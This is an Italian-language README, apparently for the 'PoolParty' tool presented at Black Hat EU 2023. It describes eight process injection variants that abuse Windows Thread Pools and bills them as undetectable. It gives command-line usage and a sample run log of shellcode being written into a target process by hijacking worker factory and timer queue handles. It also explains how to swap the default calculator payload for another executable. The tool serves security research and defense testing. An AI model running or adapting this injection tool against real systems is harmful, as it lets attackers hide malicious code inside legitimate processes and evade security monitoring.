
Un insieme di tecniche di injection nei processi totalmente non rilevabili che abusano dei Windows Thread Pools.
Una raccolta di tecniche di process injection completamente non rilevabili che abusano dei Thread Pool di Windows. Presentata ai Black Hat EU 2023 Briefings con il titolo - The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools
| ID Variante | Descrizione Variante |
|---|---|
| 1 | Sovrascrivi la routine di avvio della worker factory target |
| 2 | Inserisci un elemento di lavoro TP_WORK nel thread pool del processo target |
| 3 | Inserisci un elemento di lavoro TP_WAIT nel thread pool del processo target |
| 4 | Inserisci un elemento di lavoro TP_IO nel thread pool del processo target |
| 5 | Inserisci un elemento di lavoro TP_ALPC nel thread pool del processo target |
| 6 | Inserisci un elemento di lavoro TP_JOB nel thread pool del processo target |
| 7 | Inserisci un elemento di lavoro TP_DIRECT nel thread pool del processo target |
| 8 | Inserisci un elemento di lavoro TP_TIMER nel thread pool del processo target |
PoolParty.exe -V <VARIANT ID> -P <TARGET PID>
Inserisci un elemento di lavoro TP_TIMER nel processo con ID 1234
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully
Il shellcode predefinito lancia una calcolatrice tramite l'API WinExec.
Per personalizzare l'eseguibile da lanciare, modifica il percorso alla fine della variabile g_Shellcode presente nel file main.cpp.